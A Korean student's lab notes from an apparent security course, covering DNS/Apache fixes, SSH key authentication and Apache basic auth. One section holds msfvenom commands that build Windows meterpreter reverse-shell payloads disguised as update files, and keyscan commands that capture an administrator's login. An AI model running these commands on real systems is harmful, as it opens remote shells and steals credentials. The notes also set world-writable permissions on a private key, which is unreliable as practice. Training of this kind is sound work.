●25일차 (20250121025.php)
#오류
nslookup st.kr과 named, apache2가 재시작이 안된다
> named가 안되면 cd /etc/bind/named를 살펴보면 됨
> named.conf.default_zones를 다시 만들어버림
> apache2가 안되면 nano /etc/apache2/sites-available/hosting.conf
> 문법이 잘못되어있었음
-> systemctl start apache2, named, bind9이 됨
#악성코드
[kali]
cd /home/kali
mkdir public_html
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/public_html/payload.exe
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/public_html/update.exe
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/public_html/window_update_20250121001.exe
웹을 통해 들어가는건 흔적이 남지않으니 Winlogbeat, universal foward를 관리자 pc에 다운로드 해야한다
> filebeat, packetbat 같은거임(서버로 이동하라고 세팅 해주면 됨)
keyscan_start
> 키로거를 실행
> 관리자 pc에서 web2.st.kr 로그인 창에 아이디와 비밀번호를 치면
keyscan_dump
> web2.st.kr에서 친 아이디와 비밀번호가 나옴
#
키 인증 방식
keyscan과 screenshot을 통해 해커에게 암호가 노출되었다
> keyscan(키로거)는 특히 비밀번호를 주기적으로 변경해도 소용이 없다 (어차피 다 보이기 때문에)
대칭키
> 취약점 > 공개키가 만들어짐
공개키
> 한쌍의 키가 있음 > 공개키와 개인키
#패스워드 인증방식 > 키인증방식으로 바꿔보자
> 물론 악성코드에 당한 pc는 파일에서 키를 빼올수도 있음
새로 www 우분투 서버를 nat로 가져옴
1. 세팅
nano /etc/ssh/sshd_config
> PasswordAuthentication no
> KbdlnteractiveAuthenication no
> pubkeyauthentication yes
nano /etc/ssh/sshd_config.d/50[tab]
> passwordAuthentication no
systemctl restart ssh
cd .ssh
ssh-keygen
> 키 만들어주기
> id_ed25519 개인키, id_ed25519.pub 공개키가 만들어짐
ll ~/.ssh
cat ~/.ssh/id_ed25519.pub >> ~/.ssh/authorized_keys
> 공개키를 원래 만들어져 있던 키에 덮어씌우기
2. 키 사용
방법1.
[왼쪽 개인키 -->] [오른쪽]
[개인키 공개키] scp master@192.168.0.201:/home/master/.ssh/id_ed25519~/.ssh
> 오른쪽이 왼쪽 개인키를 가져옴
ssh master@192.168.0.201
Enter passphrase for key '/id_ed25519' : 123456
> 다른 pc가 개인키를 가지고 내 서버에 접속함
방법2
su master
cd .ssh
sz id_ed25519
개인키를 바탕화면에 저장
내 세션에 접속
> 암호화 키로 바뀌어져 있음
> 바탕화면에 저장해놓은 키를 넣어주고 비밀번호를 입력하면 들어가짐
#암호화 키로 된 서버 win7 putty로 가져오는 법
라이브러리 > 컴퓨터에서 오른쪽 클릭 > 네트워크 드라이브 연결 > \\192.168.56.102\backup
우분투 서버에 들어가서
su master
cd ~
cd .ssh
ssh-keygen
cat id_ed25519.pub >> authorized_keys
cp id_ed25519 /backup/
백업파일에서 암호키를 바탕화면에 빼내려고 하니 권한자가 아님
다시 우분투 서버로 돌아가서
cd /backup
chmod 777 id_ed25519
puttygen으로 들어가자
load > id_ed25519 가져오기 > 암호키를 만들때 썼던 비밀번호를 치고
> save private key
> putty 102로 바탕화면에 저장함
putty에 들어가서
connection > data > Auto-login username: master
SSH > Auth > credentials > private key file for authentication > 저장했던 putty102를 가져온다
session > Hostname: 192.168.56.102 > open
#미션
바탕화면에 저장된 서버에 개인키를 유출하라
로그와 패킷을 통해 유출된 흔적을 찾아라
유출된 키로 서버에 접속가능한지 확인하라
#웹 인증 크래킹
1. 세팅
cd /etc/apache2/sites-available
nano auth-basic.conf
<Directory /var/www/html/auth-basic>
AuthName "Basic"
AuthUserFile /etc/apache2/.htpasswd
require valid-user
</Directory>
systemctl restart apache2
> st.kr/auth-basic으로 들어가니 화면이 뜬다
2. index.html 만들기
cd /var/www/html
mkdir auth-basic
cd auth-basic
touch index.html
> index 라고 적어줌
systemctl restart apache2
3. 화면 세팅
cd /etc/apache2/sites-available
htpasswd -Bc /etc/apache2/.htpasswd master
> 비밀번호 치고
a2ensite auth-basic
systemctl reload apache2
> internal server error가 나옴
4. 오류 해결
nano auth-basic.conf
> AuthType Basic을 넣어줌

> 로그인 창이 뜨고 master 123456를 넣어주면 index.html에 넣었던 글이 나온다
> 특정 디렉토리에 특정 파일에 웹비밀번호를 설정할 수 있다.
> 암호가 아님 base64로 인코딩된거임
> 암호화: 비밀키를 사용하여 데이터를 변환, 인코딩: 데이터를 다른 형식으로 변환 (보안X)
> 디코딩하면 쉽게 원래 데이터를 얻을 수 있음
> 보안에 매우 취약(Brute force, 세션 하이재킹도 가능)
*정리*
패스워드 > 키 인증 방식
-> 키 훔쳐가면 무용지물
패스워드 > 웹 기반 인증
-> 취약함 (옛날 공유기나 카메라에 사용)
PAM 모듈인증
LDAP 인증
커버로스 인증 (sshd 설정 변경 가능함)
> kerberos options > 인증시스템